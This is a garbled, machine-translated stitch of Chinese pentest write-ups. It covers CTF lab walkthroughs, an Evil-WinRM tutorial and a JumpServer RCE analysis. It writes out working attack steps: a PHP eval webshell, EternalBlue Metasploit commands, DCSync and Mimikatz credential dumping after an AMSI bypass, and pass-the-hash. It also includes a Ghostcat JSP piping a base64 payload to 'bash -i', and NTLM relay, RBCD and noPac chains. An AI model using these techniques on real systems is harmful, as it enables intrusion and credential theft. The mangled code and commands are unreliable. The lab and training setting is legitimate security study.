3qcksgdro213044.png 3番目のステップは、ログ保存場所を設定するためにグローバルgeneral_log_fileを設定します

z03oex2mrph3045.png最後に '?php eval($ _ post [cmd]);

ut03iym0s3a3046.png次に、21はWin7マシンです。 MS17-010に電話することができます。試した後、ネットワークを離れることはできません。フォワードモニタリングを使用できます。

最初にプロキシをハングアップし、Proxychains MSFConsoleをSocks5トラフィックに移動し、次にExploit/Windows/SMB/MS17_010_ETERNALBLUE=SET PAYLOAD WINDOWS/X64/METERPRETER/BIND_TCP_UUID=SET RHOSTS 172.22.1.21=ExploitiTloit

j5bwwrqm1zo3047.png正のメータープレターシェルを取得した後、次のステップはDCSYNCを使用することです

DCSYNCの導入については、この記事を参照できます。最大の機能は、ドメインコントロールにログインせずにドメイン制御に関するデータを取得できることです。

KiwiをMSFの下に直接ロードし、その後Kiwi_cmd 'lsadump3:3360dcsync /domain:xiaorang.lab /all /csv' exitエクスポートハッシュハッシュをドメイン内のすべてのユーザーに対してハッシュします。

xzabqfaexh23048.pngは.2の前にスキャンされ、445ポートを開きます。 SMBハッシュを使用して、Kaliに付属のCrackMapexecで直接渡します。プロキシチャインCrackmapexec SMB 172.22.1.2 -U管理者-H 10CF89A850FB1CDBE6BB432B859164C8 -D XIAORANG.LAB -X '$ CMD'

haje1iuu2y13049.pngオリジナルリンク:http://119.45.47.125/index.php/2022/11/24/yunjing-4/

0x00イントロ

OSCP浸透スタイル、C2やMSFなどのツールを残すことは難しくありません

0x01情報

TAG: JDBC、Exchange、NTLM、COERCE認証、DCSYNC napv2xepems3012.png

0x02 Recon

ターゲット外部IP39.98.179.149NMAP結果zcf0nwzlb1z3013.png 8000ポートに直接従います。私は以前にすでに80を逃したことがあり、直接合格するものはありません。pawphea1rc03014.png Huaxia ERP、多くの抜け穴があり、エントリポイントは長い間立ち往生しており、後でJDBCを見て、Google検索後に兄の記事を直接検索しました。

FastJsonのハイバージョンマジックトリック-BMTH (bmth666.cn)(http://www.bmth666.cn/bmth_blog/2022/10/19/fastjson%E9%ABA98%E7%89%88%E6%9C%AC%E7%9A%84%A5%A5%87% E6%8a%80%E6%B7%AB%E5%B7%A7/#%E8%93%9D%E5%B8%B8%BD%E6%9D%AF2022%E5%86%B3%E8%B5%9B-%E8%B5%8C%E6%AA)構造ペイロードzivwxuyr0re3015.pngConfigure mysql_fake_server 3x5yycchxzqq3016.png unauthorized + mysqlコネクタJDBCデシリア化の組み合わせパンチダイレクトRCE nbedklispgr3017.pngrce直接買収後の直接取得後kyi51fgprvv3018.png6950660kyi51fgprvv3018.png

0x03エントリポイント:172.22.3.12

SMB SMBは、イントラネットホストをスキャンし、Exchangeキーワード(EXC01)を確認し、i52qwlfsc2l3019.png172.22.3.9にアクセスしようとします。 Exchange mvh1xfvyus13020.pngProxylogonを直接倒して、システム許可を取得するr5rq5ru3mwa3021.png cymhdpuosf33022.pngFLAG02(その後の短い資格情報コレクション)ohwcb4ytjow3023.png

0x04エントリポイント:172.22.3.9

Fast Forward 1:Exchange Machineアカウントのハッシュが収集されました2:同時に、ドメインアカウント資格情報が収集されました:Zhangtongは上記の操作を通じてExchange Machineアカウントのハッシュを収集しました。 Exchange Machineアカウントには、ドメイン内のドメインオブジェクト全体のACL許可が書かれています。次に、dacledit.pyを使用してZhangtongにDCSync権限を追加します(実際、DCSYNCを自分に追加することもできます)3j14y3zjn2x3024.pngDCSYNCとユーザーLumia lzvg4y3en3w3025.pngのハッシュを取得して172.22.3.2.2.3.2.2.cymhdpuosf33022.png-6951cymhdpuosf33022.png10149514951495149514951495149514951013

0x05ファイナル:172.22.3.26

172.22.3.26 4t2idhth31u3026.pngを超えるLumiaユーザーフォルダーにsecret.zipがあります。 attachment, which is full of mobile phone number ipagftkwhtb3027.png Regular operation, convert to a hash in pkzip format and runs the dictionary, and runs out the password gidqi1a5gxb3028.png rruinddbngu3029.png e0d3ffs2e403030.pngflag03 i1prwh2nvzd3031.png rpo5rlkkkmo3032.png

0x06 outro

交換後、著者の当初の意図は、NTLMリレーを使用してDCSYNCアップグレードを完了し、交換システムの許可を取得し、WebDAVをトリガーしてLDAPにリレーすることです。興味がある場合は、以前の記事を読むことができます。著者はまた、Lumiaユーザーのパスワードを変更することを望んでいますが、私は怠け者です。直接PTHオリジナルリンク:https://www.anquanke.com/post/id/286967

0x1情報

image

射撃範囲の住所:https://yunjing.icunqiu.com/ranking/summary?id=bzmfnfpvudu射撃範囲環境は、ウェブからイントラネット、ドメインまでの環境が完了しており、質問を設定するというアイデアは非常に良いです。興味があれば、遊ぶことができます。

0x2 recon

ターゲット外部IP39.98.34.149NMAP結果

\ username :管理者、パスワード:123456

image

コマンド実行image

0x03エントリポイント:172.22.4.36

シェルimage

すばやく通過します:エントリマシンには特別なものがなく、ルートする権限を上げることができません(ルートするために権限を上げる必要はありません)。 stapbpf suidは使用できませんでした

DIFF SUID imageFLAG01DIFF-LINE-FORMAT=%L/DEV/NULL /HOME/FLAG/FLAG01.TXT imageFLAG01

3つのマシン172.22.4.19 fileserver.xiaorang.labの情報を取得します

172.22.4.7 DC01.XIAORANG.LAB

172.22.4.45 win19.xiaorang.lab

flag01プロンプトユーザー名+ rockyou.txtを使用して爆発し、有効な資格情報(プロンプトパスワードの有効期限が切れる)を作成します。システムでマシンアカウントを取得します。

デスクトップimageには、この列に従ってください。現在のユーザーAdrianは、レジストリimage image権利を完全に制御しています

MSFvenomはService Horseを生成し、SAM.BAT imageを実行します

sam.bat image

レジストリを変更してサービスを有効にすると、デスクトップはSAM、セキュリティ、システムimageを取得します。 Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:BA21C629D9FD56AFF10C3E826323E6AB3:33333333:3360

$ Machine.ACC: AAD3B435B51404EEAAD3B435B51404EE:917234367460F3F2817AA4439F97E636image

flag02 imageマシンアカウントを使用したドメイン情報の収集トリガーを強制的にWin19に戻し、DC01 image imageBase64のTGTデコードのTGTを取得するためにDC01.KIRBI imageDCSYNC Get Domain Managements image

0x04 PWING WIN19-172.22.4.45

PSEXEC-FLAG03 image

0x05 DCテイクオーバー-172.22.4.7

ヒントのマスターアルファブグ(0x03-0x04)に感謝します。 https://www.freebuf.com/articles/web/352151.html

序文

Evil-WinRM

このツールは、もともとHackplayersチームによって開発されました。このツールを開発する目的は、特にMicrosoft Windows環境で、可能な限り浸透テストを簡素化することです。

Evil-WinRMはPowerShellリモートプロトコル(PSRP)を使用し、Windowsリモートはシステムとネットワーク管理者によってよく使用されます

管理プロトコルはアップロードおよび管理されています。 Winrmは、HTTPデフォルトポート5985を介して使用できるファイアウォールに優しいソーププロトコルです

HTTPトランスポートで使用。 PowerShellリモート処理の詳細については、公式Microsoft Webサイトをご覧ください。

https://Learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enable-psremoting?view=powershell-7.3

邪悪なwinrmの紹介

Evil-WinRMは、Ruby言語を使用して開発されたオープンソースツールです。このツールには、プレーンテキストパスワードを備えたリモートログインなど、多くのクールな機能があります。SSL

暗号化されたログイン、NTLMハッシュログイン、キーログイン、ファイル転送、ログストレージ、その他の機能。この開発ツールの著者は、ツールを常に更新し、長い間更新を維持しています。使用

Evil-WinRM、リモートホストのPowerShellコマンドターミナルセッションを取得できます。このツールはKali Linux Systemsに統合されていますが、個別にダウンロードする場合は、公式のGITリポジトリからダウンロードできます。

ダウンロードリンク:https: //github.com/hackplayers/evil-winrm

winrmサービスディスカバリー

上記のように、リモートホストで有効になっている場合

WinRMサービスは、Evil-WinRMツールの使用に関連付けられます。ターゲットシステムがWINRMサービスを有効にしているかどうかを確認するために、NMAPを使用して2つのデフォルトのWINRMサービスポート5895を見つけることができます。

5896オンになっているかどうか。 NMAPスキャンの結果から、WinRMサービスが有効になっていることがわかりました。そのため、邪悪なWINRMツールを使用して、水平フェーズで探索する他のタスクをログインして実行できます。

NMAP -P 5985、5986 192.168 .1 .19

1049983-20230310091812296-761646061.png

邪悪なwinRMヘルプコマンドヘルプ

Evil-WinRMの利用可能なすべての機能をリストするには、すべてのヘルプコマンドを記述してリストする-Hフラグを単に使用できます。

Evil-WinRM -H 1049983-20230310091813306-1791686835.png

プレーンテキストパスワードでログイン

アカウントの列挙フェーズでプレーンテキストパスワードを取得し、リモートホストがWinRMサービスを有効にしていることに気付いたとします。ターゲットシステムでターゲットシステムIPアドレスを使用して、ターゲットシステムでリモートセッションを実行できることに気付きました。下の図に示すように、リモートのPowerShellセッションが確立されていることがわかります。

Evil -WinRM -I 192.168.1.19 -U管理者-p Ignite@987 1049983-20230310091814013-1687837742.png

プレーンテキストパスワードでログイン - SSLを有効にする

上記のように、WINRMサービスはHTTPプロトコル上でトラフィックを輸送できます。その後、Secure Socketsレイヤー(SSL)機能を使用して、接続が安全であることを確認できます。 SSLが有効になると、データは暗号化されたセキュアソケットレイヤーを介して転送されます。 Evil -WinRMを使用して、-Sパラメーターを使用して、リモートホストを使用してセキュアな送信用のコマンドを確立できます。

邪悪なwinrm -i 192.168.1.19 -u管理者-p Ignite@987 -S 1049983-20230310091814913-1666008939.png

ntlmハッシュを使用したログイン - ハッシュによる攻撃

イントラネットの浸透または解像度

Windowsの許可エスカレーションとActive Directoryの使用率に関連するプロジェクトでは、さまざまな攻撃方法を通じてNTLMハッシュ値を取得することがよくあります。

Windows Intranet環境にいる場合は、パススルーハッシュ攻撃を実行することにより、Evil-WinRMを使用してPowerShellを作成できます

セッションは、リモートログインにプレーンテキストパスワードを使用する代わりに、ハッシュをパスワードとして使用できるようにします。さらに、この攻撃は他のプロトコルをサポートしています。ハッシュを渡すと、-hパラメーターを使用できます。

Evil -WinRM -I 192.168.1.19 -U Administrator -H 32196B56F45E294117B91A83BF38 1049983-20230310091815919-322255289.png

load powershellスクリプト

Evil-WinRMは、ターゲットホストに付属のPowerShellスクリプトを使用できる機能も提供します。スクリプトはメモリに直接ロードでき、-sパラメーターを使用してターゲットシステムに接続されたPowerShellスクリプトの相対パスを使用できます。さらに、このツールは、スクリプトをインポートする前に必要なAMSI機能を提供します。次の例では、AMSI関数をバイパスし、システムから直接呼び出します

Invoke-Mimiktz.ps1スクリプトはターゲットホストに配置され、メモリにロードされます。その後、Mimikatzコマンドを使用できます。デモンストレーションのために、システムログイン資格情報をキャッシュから直接投棄しました。資格情報を投棄した後、ハッシュパス攻撃に取得したNTLMハッシュを再度使用できます。

https://github.com/clymb3r/powershell/blob/master/invoke-mimikatz/invoke-mimikatz.ps1

1049983-20230310091816698-1045152289.png

Evil -winrm -i 192.168.1.19 -u管理者-p Ignite@987 -s/opt/privsc/powershell

バイパス-4msi

Invoke-mimikatz.ps1

Invoke-Mimikatz 1049983-20230310091817650-2062958944.png

邪悪なwinrm

を使用してログを保存します

この関数は、リモートセッションを取得した後、実行コマンドのログがローカルシステムに保存されることを意味します。プロジェクトに取り組んでいるときは、後続のレポートと出力を実行するために資格情報を攻撃する必要があります。すべてのログは、-lパラメーターを使用してホストシステムに保存し、デフォルトで /root /vyol-winrm-logsディレクトリに保存できます。次の例では、IPConfigコマンドを同時に使用して、コマンド出力情報をホストシステムに保存できます。

Evil -WinRM -I 192.168.1.19 -U Administrator -P Ignite@987 -L 1049983-20230310091818503-1169021792.png

保存されたログコンテンツをチェックすることにより、コマンドログ出力が正常に保存されるかどうかを確認できます。上記のコマンドからのログ情報出力が保存されていることがわかります。

1049983-20230310091819303-1925120427.png

リモートフルパス関数を無効にします

デフォルトでは、ツールにはリモートフルパス機能が付属していますが、リモートパスフルパス機能を無効にする場合は、コマンドの-Nパラメーターを使用できます。個人がパスフル機能をオンまたはオフにすることを好むかどうかに依存しますが、自動フルパス機能に満足している場合は、デフォルト機能を自由に使用できます。

Evil -WinRM -I 192.168.1.19 -U Administrator -P Ignite@987 -N 1049983-20230310091820319-334324530.png

カラーインターフェイスを無効にします

Evil-WinRMを使用してリモートセッションを作成するたびに、美しい色付きのコマンドラインインターフェイスが生成されます。それにもかかわらず、Color Interface機能を無効にする場合は、-Nパラメーターを使用してセッションを作成するときに機能を無効にすることもできます。

Evil -WinRM -I 192.168.1.19 -U Administrator -P Ignite@987 -N 1049983-20230310091821002-86216428.png

実行可能ファイルを実行します

この機能は、コマンドラインに掲載できないPowerShellセッションを実施しながら、評価中に遭遇するリアルタイムの問題と困難を解決するように設計されています。この場合、Evil-WinRMセッションでEXE実行可能ファイルを実行できるようにしたいと考えています。ターゲットシステムで実行する実行可能ファイルがあるとします。

1049983-20230310091821739-279820440.png

Hackplayersチームは再びツールを設計し、すべての実行可能ファイルをEvil-WinRM PowerShellセッションで実行するための追加機能を追加しました。同様に、-eパラメーターを使用してExe実行可能バイナリを実行できます。次の例では、winpeas.exe実行可能ファイルがローカルコンピューター /opt /privscディレクトリに保存され、追加の関数(邪悪なwinRMメニューのinvoke-binaryコマンド)を使用して実行します。この機能により、コマンドラインシェルで実行される任意のexeバイナリを実行できます。

Evil -WinRM -I 192.168.1.19 -U Administrator -P IGNITE@987 -E /OPT /PRIVSC

バイパス-4msi

メニュー

Invoke-binary /opt/privsc/winpeasx64.exe 1049983-20230310091822804-340723136.png

実行可能パスを設定したら、ターゲットシステムで実行する任意の実行可能ファイルを使用できます。次の例では、winpeasx64.exeを呼び出し、vyver-winRMを使用してターゲットシステムに実行します。

1049983-20230310091823704-102115081.png

サービスクエリに邪悪なwinrmを使用

時には、浸透後のテストツールがターゲットシステムで実行されているサービス名を検出できない場合があります。

この場合、Evil-WinRMを使用して、ターゲットシステムで実行されているサービス名を見つけることができます。これを行うには、メニューにもう一度移動してサービス機能を使用できます。

プログラムホストを実行しているすべてのサービスをリストします。

1049983-20230310091824661-464154626.png

邪悪なウィンルムを使用したファイル転送

Evil-WinRMが可能な限りシンプルにするために最善を尽くしたことは間違いありません。コマンド操作を実行するには、常に攻撃マシンからリモートマシンにファイルを転送する必要があります。また、Evil-WinRMツールは非常に実用的な機能を提供します。特に、ターゲットシステムに設定されたアウトバウンドトラフィックルールに直面している場合、およびプロキシでEvil-WinRMを使用する場合。次の例では、 /rootディレクトリのnotes.txtファイルをターゲットシステムにアップロードします。

1049983-20230310091825389-2110387118.png

ファイルは、ターゲットシステムから攻撃者のマシンにダウンロードされます。同様に、次のコマンドを使用してダウンロードできます。

notes.txt /root/raj/notes.txtをダウンロードしてください

1049983-20230310091826103-463726946.png

1049983-20230310091826844-1420175986.png

docker

の邪悪なwinrmを使用しています

このツールもインストールできます

Dockerで。 DockerにEvil-WinRMにインストールする場合は、Dockerからも呼び出すことができます。

メインシステムのように実行されます。これを行うには、Dockerの構文とEvil-WinRMコマンドに従って、Dockerから呼び出します。

docker run - rm -ti -name Evil -winrm oscarakaelvis/Evil -winrm -i 192.168.1.105 -u管理者-p 'Ignite@987' 1049983-20230310091827602-1375680794.png

邪悪なWINRMキーでログイン

Evil -WinRMを使用すると、パブリックキーとプライベートキーを使用してリモートセッションを確立し、-Kとプライベートキーを使用したパラメーター、および-Cおよびパブリックキーを使用したパラメーターを使用することもできます。さらに、-Sパラメーターを追加して、SSLが暗号化とセキュアの接続を有効にできるようにすることもできます。

Evil -winrm -i 10.129.227.105 -c certificate.pem -k priv -key.pem -s 1049983-20230310091828303-682569362.png

0x01 - 情報

TAG: Tomcat、NTLM、WebClient、COERCE AUTHURTINATION、NOPAC 5f3flifo2tk2965.png

0x02 - 再

ターゲット外部IP 47.92.146.66

NMAPの結果

ポート8009(AJP)に焦点を当てることは、Tomcat(射撃範囲のTomcatタグに対応)bv44lihq3zu2966.pngディレクトリスキャンを意味します。404ページはTomcat 9.0.30 f2dp2nzldoh2967.pngとして表示されます。

このプロジェクトでテストします

https://github.com/00theway/ghostcat-cnvd-2020-10487

/web-inf/web.xml yyqkiz4ro432968.pngを読み取ります

url-pattern結果は辞書4gvwxkrov1p2969.pngとして保存されます

FFUF vrdcpmabyoe2970.png

UploadServlet 1ghojgom34o2971.pngをフォローしてください

Temp.txt f0lkwzqqij32972.pngをアップロードします

ファイルアドレスc20vdvfozh52973.png./upload/7dbbdee357b4472f5aad6b8ce83980ddddddddddddddddddddddddddddddddddddd.

./upload to /uploadを交換し、アップロードされたファイルを正常に読み取ります

Python3 ajpshooter.py http://47.92.146.66:8080 8009/upload/7dbbbdee357b4472f5aad6b8ce83980dd/202212060934444444444444444444444444444444444444440839.t

asroozh1fbh2974.png

0x03 - Ghostcatコマンド実行

shell.txt m1qwehukkqp2975.png%java.io.inputStream in=runtime.getRuntime()。 {echo、zwnobyaic3nolxjzysbbqufbqjnoemfdmxljmkvbqufbrefrqujbqufcz1fdl3nkady4uk5hwktlaknqae40wuxpsnj4edr3n3n3jtbgcc FRMMTNYNHVKZLPFZM4YU25SCE9RDXQ0OE1LDURHOETDCXCZRW0ZNU9ODXXDUA2P3ZEKVRGHGN3ZSETB0T2XTWDE5NMJHCXPNDE5PM1YZUHEXC3NC mzv5ui85shj6zjvedhdqs2nkdkphv0ruzzu2uwhzjlnr21vduzvqwv2qjdsuwl3a01fnwnxtzvsqtrwum5kveh2ru1oqukxkkccc3mtbeewnkt28 rngh1tgnnvjzhdus3uxdktwdnn0oyu2u5tepgzwk2r2g0amjusgrhdmnbvvvjvvvvjzefi4qvnxsmnqy29tm2dmuee1uwnxszznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznznzs r3cejwwwlfuglhchlqrqr2y1t3eruu0xqmjyr0gvtlrbynzwa3dznbkrurwdvbnnnwhofy4c09htjixczlwazfjmvbbxaeh2wdz1ejhradrndudnq lryshlzb3dutjg3otexvdvgr0vjvzlweuh1cm9fsvjtde9sy3dbymrmc0k0nvhos1o0awoxderlntrtmmpxwxhjtjhsl1zuunv2rvvotvpgoula bdm3uw5eqnbfr25ltxfjtve4chvuzujbmngvsurhmfr6mwxjvgk5whp5wjvhetd4dtjwzstidxhwt1bsq2m9iia+piavcm9vdc8uc3nol2ff1dghv CMML6ZWRFA2V5CWOKY2HTB2QGNJAWIC9YB290LY5ZC2GVYXV0AG9YAXPLZF9RZXLZCG==} | {base64、-D} | {bash、-i} ")。 int a=-1; byte [] b=new byte [2048]; out.print( "pre"); while((a=in.read(b))!=-1){out.println(new String(b)); } out.print( "/pre");%

shell.txt ohtcdxcxizk2976.pngアップロードされたコードnjmzvilq2ku2977.pngSSH - FLAG01 infa3uyxlcr2978.pngを実行する

0x04 - ポータルUbuntu:172.22.11.76

SSH 0zovuchzfwo2979.png何もありません。aveqdtov0iy2980.pngにアクセスしてエージェントjl5dqk2iqvv2981.pngを開き、3つのホスト情報をスキャンして445をスキャンします172.22.11.45 XR-Desktop.Xiaorang.Labab

172.22.11.6 Xiaorang-DC.Xiaorang.lab

172.22.11.26 XR-LCM3AE8B.XIAORANG.LAB qhwbwdlo4fb2982.png

172.22.11.45 - Windows7 - MS17 wfr31ur1rwl2983.pngMS17 1つのGO tv3venfc4p32984.png基本操作hzlrpv2tnjv2985.png 3ebw5nwtfn52986.pngに注意してください

資格リスト管理者4430C690B4C1AB3F4FE4F8AC0410DE4A - (ローカル資格情報)

John 03CAE082068E8D55EA307B75581A8859 - (ローカル資格情報)

XR-DESKTOP $ 3AA5C26B39A226AB2517D9C57EF07E3E - (ドメイン資格情報)

yangmei 25e42ef4cc0ab6a8ff9e3edbbda91841 - xrihghgonzq(プレーンテキスト) - (ドメイン資格情報)

私は組み合わせの爆破を試しました、何もありません、私はここでデモをスキップして、ドメイン侵入リンクf4z5nvg2x3r2987.pngに直接行きました

flag2 kf1fw5w1nav2988.pngドメインユーザーyangmeiをマシンのローカル管理者に追加するfd3gzkveokg2989.pngドメイン制御IPを172.22.11.6 - Xiaorang-DC y1vbpletioe2990.pngBloodhound Collection gcmdhbmoo0y2991.png

0x05 - ドメイン浸透リンク、入学xr-desktop:172.22.11.45

これをすばやく実行しましょう(1つの文で概要:ドメインコントロールを直接削除することはできません)、Bloodhoundによって収集されたユーザー名の組み合わせを使用して取得したパスワード/ハッシュの組み合わせが爆破されました。他の新しいユーザーはMAQ=0を持っていることがわかりませんでした。コンピューターを追加できません。現在のLDAPにはTLSがなく、コンピューターをリモートで追加することはできません。インパケットの追加コンピューターには2つの方法があります。 SAMRとLDAPS。 SAMRはMAQ=0によって制限されており、コンピューターを追加できません。 LDAPSはTLS + MAQ=0で制限されています。ドメイン制御はnoPACが存在します。現在のユーザーYangmeiはNOPACを使用しており、ドメイン内のコンピューターコンテナ内のCreateChildのACLドメイン制御を殺しません。現在のユーザーYangmeiは現在のWindows Machine XR-DeskTopに手紙の許可を得ていません。つまり、DFSCoerceとPetitpotamはSamacCountNameドメインで変更できませんが、CVE-2019-1040は存在しません。 exploit:ridter/nopac: cve-2021-42278およびcve-2021-42287を悪用して、標準ドメインユーザー(github.com)petitpotamスキャン52fl5fs4vg42992.png NO ADCS + Petitpotam + NTLM Leray Play Play Plye

攻撃チェーン:Petitpotamを使用して、脆弱性のターゲットをトリガーし、WebClientサービスを有効にします。 Petitpotamを使用してターゲットをトリガーして、HTTPリレーサービスにアクセスします。ターゲットは、WebClientを使用してNTLM認証を携帯してリレーにアクセスし、その認証をLDAPにリレーし、マシンアカウントのIDを取得し、マシンアカウントとして独自のMSDS-ActonBehalfofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofofoforidentity属性をマシンアカウントとして修正し、悪意のあるマシンアカウントがターゲットマシン(RBCD)へのアクセスをシミュレートして認証できるようにします。ターゲットマシンは、WebClientサービスを有効にする必要があります。

WebClientスキャン、そしてそれが勝つことしかできないことが確認されています。 172.22.11.26(XR-LCM3AE8B)x4l04pmb4l22993.pngリレー攻撃序文:実際の戦闘でのリレープレイは、80の占有サービスを停止し、ポート転送を有効にする必要があり、CSは後続のバージョンでRPORTFWD_LOCOLを追加し、クライアントローカルに直接転送します)。このデモンストレーションは、実際の戦闘プレイに似ています。入り口ubuntuにインパケットを投げることは選択しません。この操作リレー攻撃環境は:ポート転送+プロキシを構成します

現在、サーバーの80をローカルクライアントの80に転送する必要があります。SSHのリバースポート転送は127.0.0.1にしかリストであるため、現時点ではいくつかのトリックが必要です。

図に示すように、リバースポートフォワードポート79がすべてを聞くように指定している場合でも(-R \*:793360127.0.0.1:80)、ポート79はまだ127.0.0.1に結合しています(Socks5プロキシも図)uuxpin5lqvo2994.png

余分なソサットを追加して、トラフィックを0.0.0.0336080に127.0.0.1336079に転送し、クライアント側のローカル80に戻し、80を0.0.0.0 myqxsqya22q2995.pngで変装させてリッスンします。

テスト、172.22.11.76:80からのトラフィックは、地元のエリアa3ujfdfuk2j2996.pngに直接転送されます

NTLMRELAYXを開くローカル注:前述のようにLDAPSがないため、addComputerを使用することはできないため、IPを使用してRBCDSUDO ProxyChainsを設定した後、IPを使用してDCに接続することはできません。 -NO-ACL -ESCALATE-USER 'XR-DESKTOP $' - DELEGATE-ACCESS nabg32phjzf2997.png Petitpotamを使用してXR-LCM3AE8Bを172.22.11.76(Ubuntu)ProxyChains4 -F〜/htb/htb/htb/htb/htb/htb/htb/spopychingにトリガーしますpetitpotam.py -u yangmei -p 'xrihghgonzq' -d xiaorang.lab ubuntu@80/pwn.txt xr -lcm3ae8b

RBCD攻撃が完了していることがわかります。次のステップは、XR-LCM3AE8Bの銀行ノートを直接申請することです。qz4fetl54p52998.png XR-LCM3AE8B CIFS Notes re3z0ciswku2999.pngに応募します

0x06 - ドメイン浸透リンク - NOPAC、入り口XR-LCM3AE8B:172.22.11.26

PSEXECFLAG03 IN C: \ USERS \ Administrator \ flag \ flag03.txt(ここにスクリーンショットなし)kfftv1wj0zl3000.pngSMBCLIENT.py 1232126B24CDF8C9BD2F788A9D7C7ED1

tkg12ri1mge3001.png

Zhanghuiだけが成功することができます。 Zhanghuiは、MA_ADMINグループにオブジェクトを作成できます。 MA_ADMINグループはコンピューター用のオブジェクトを作成できますが、BloodHound -B 'CN=コンピューター、DC=Xiaorang、DC=lab' ntsecuritydescriptor -sddl +++ 3ua4w4oelon3002.pngにadfind.exeは表示されませんでした。

Bloodhoundを見ることができません。主な理由は、CreateChildがJSON szj2yzvgn1s3003.pngに収集されず、NOPACに戻り、さらにCreate-Childパラメーターufwsw4ilyqm3004.pngに戻ったことです。

0x07 - ドメイン浸透リンク - Xiaorang-DC

NOPACが適用したCIFSチケットを使用して、DCFLAG04にログインします。 c: \ uses \ administrator \ flag \ flag04.txt(ここにスクリーンショットはありません)04o40qujktu3005.pngドメインチューブ(Mimikatzを使用してスキップ)管理者0FADB57F5EC71437D1B03EEA2CDA70B9

![[gbcrhiu21z53006.png

0x08 - 周りで遊ぶ

bloodhound.pyがcreatechildを収集できない問題を解決しようとします

Bloodhound/Enumeration/Acls.pyは実際に変数を定義しているため、ybouszjudka3007.pngと呼びます

170行目に来て、それを追加し、CreateChildを見つけて、データe020zojuslt3008.pngを追加します

Bloodhound.pyをもう一度実行し、コンテナの結果を観察し、すでに関連するデータがあることを確認します。 RID 1132=MA_ADMINグループcteptyqljev3009.png

Bloodhound Diagram、しかしデータはまだ面倒ですgo4jiixgh313010.png元のリンク:https://www.anquanke.com/post/id/285771

0はじめに

Jumpserverは、オープンソースのバスティオンマシンであり、4A仕様に準拠した運用およびメンテナンスセキュリティ監査システムです。素人の用語では、それはスプリングボードマシンです。

2021年1月15日、Jumpserverはセキュリティアップデートをリリースし、リモートコマンドの実行の脆弱性を修正しました。一部のJumpserverインターフェイスには認可制限がないため、攻撃者は悪意のあるリクエストを作成して機密情報を取得するか、すべてのマシンを制御して任意のコマンドを実行するための関連操作を実行できます。

影響バージョン:

JumpServer V2.6.2JumpServer V2.5.4JumpServer V2.4.5JumpServer=V1.5.9

1。脆弱性分析

修理コードのコミットレコードを参照してください: https://github.com/jumpserver/jumpserver/commit/f04e2fa0905a7cd439d7f6118bc810894eed3f3e

CeleryLogWebsocketクラスの接続がID認証で追加されたことがわかりました。

インポート時間

OSをインポートします

スレッドをインポートします

JSONをインポートします

common.utilsからImport get_loggerから

from .celery.utilsインポートget_celery_task_log_path

.ansible.utilsからImport get_ansible_task_log_pathから

from Channels.generic.websocketインポートjsonwebsocketconsumer

logger=get_logger(__ name__)

クラスTaskLogWebsocket(JSONWebsocketConsumer):

切断=false

log_types={

'Celery ': get_celery_task_log_path、

'ansible ': get_ansible_task_log_path

}

def connect(self):

user=self.scope ['user']

user.is_authenticatedおよびuser.is_org_admin:の場合

self.accept()

else:

self.close()

def get_log_path(self、task_id):

func=self.log_types.get(self.log_type)

func:の場合

return func(task_id)

def receive(self、text_data=none、bytes_data=none、** kwargs):

data=json.loads(text_data)

task_id=data.get( 'task')

self.log_type=data.get( 'type'、 'celry')

if task_id:

self.handle_task(task_id)

def wait_util_log_path_exist(self、task_id):

log_path=self.get_log_path(task_id)

self.disconnected:ではありません

os.path.exists(log_path):ではない場合

self.send_json({'message':'。 '、' task ': task_id}))

time.sleep(0.5)

続行します

self.send_json({'message':' \ r \ n '})

try:

logger.debug( 'タスクログPATH: {}'。フォーマット(log_path)))

task_log_f=open(log_path、 'rb')

return task_log_f

OSERROR:を除く

なしなし

def read_log_file(self、task_id):

task_log_f=self.wait_util_log_path_exist(task_id)

そうでない場合は、task_log_f:

logger.debug( 'タスクログファイルはne: {}'。フォーマット(task_id)))

戻る

task_end_mark=[]

self.disconnected:ではありません

data=task_log_f.read(4096)

data:の場合

data=data.replace(b '\ n'、b '\ r \ n')

self.send_json(

{'message': data.decode(errors=' agnore ')、' task ': task_id}

))

data.find(b'suceded in ')!=-1:の場合

task_end_mark.append(1)

data.find(bytes(task_id、 'utf8'))!=-1:の場合

task_end_mark.append(1)

Elif Len(task_end_mark)==2:

logger.debug( 'タスクログend: {}'。フォーマット(task_id)))

壊す

time.sleep(0.2)

task_log_f.close()

def handle_task(self、task_id):

logger.info( 'task id: {}'。形式(task_id)))

スレッド=threading.thread(ターゲット=self.read_log_file、args=(task_id、)))

thread.start()

def disconnect(self、close_code):

self.disconnected=true

self.close()

このクラスのHTTPインターフェイスをご覧ください。

nvlgedxlxi12885.png

このクラスを通じて、このインターフェイスのアクセスチェーンは次のとおりです。

ws/ops/tasks/log/

-TaskLogWebsocketクラスの受信関数を入力します

-TaskLogWebsocketクラスのhandle_task関数を入力します

-loglogwebsocketクラスのread_log_file関数を入力します

-Wait_util_log_path_exist tasklogwebsocketクラスの関数を入力します

-loglogwebsocketクラスのread_log_file関数を入力します

-App/ops/utls.py jt5ue15cg0d2886.pngにget_task_log_path関数を入力します

TaskIDは、送信したtext_dataから解析されるため、制御可能です。次の方法を使用して、ログファイル/opt/jumpserver/logs/jumpserver.logを読むことができます。

ws: //10.10.10.1033608080/ws/ops/tasks/log/に送信

{'task':'/opt/jumpserver/logs/jumpserver '}上記はファイル読み取りの原則です。ログファイルの読み取りには次の制限があります。

ファイルは、絶対パスを使用してのみ読み取ることができます。ログで終わるファイルのみが読み取られます。次の分析は、リモートコード実行を実装する方法です。

/opt/jumpserver/logs/gunicorn.logを読むことで、運が良ければ、ユーザーUID、システムユーザーUID、およびAsset IDを読むことができます。

ユーザーidasset idsystemユーザーID上記の3つの情報を、ユーザーがログから取得するためにWeb端末にログインしていることを確認する必要があります。それを取得した後。 /api/v1/authentication/connection-token/interfaceを介して、/apps/authentication/api/userconnectiontokenapiを入力できます

wswy0gvf51n2887.png

4bqehsjmlxj2888.png

user_id asset_id system_user_idを使用して、20秒の有効期間のみのトークンを取得できます。このトークンは、KokoコンポーネントのTTYを作成するために使用できます。

https://github.com/jumpserver/koko/blob/master/pkg/httpd/webserver.go#342

-https://github.com/jumpserver/koko/blob/4258b6a08d1d3563437ea2257ece05b22b093e15/pkg/httpd/webserver.go#l167特定のコードは次のとおりです。

1spev0nqvf22889.png

h50wznv4z0d2890.png

完全なRCE使用手順は次のように要約されています。

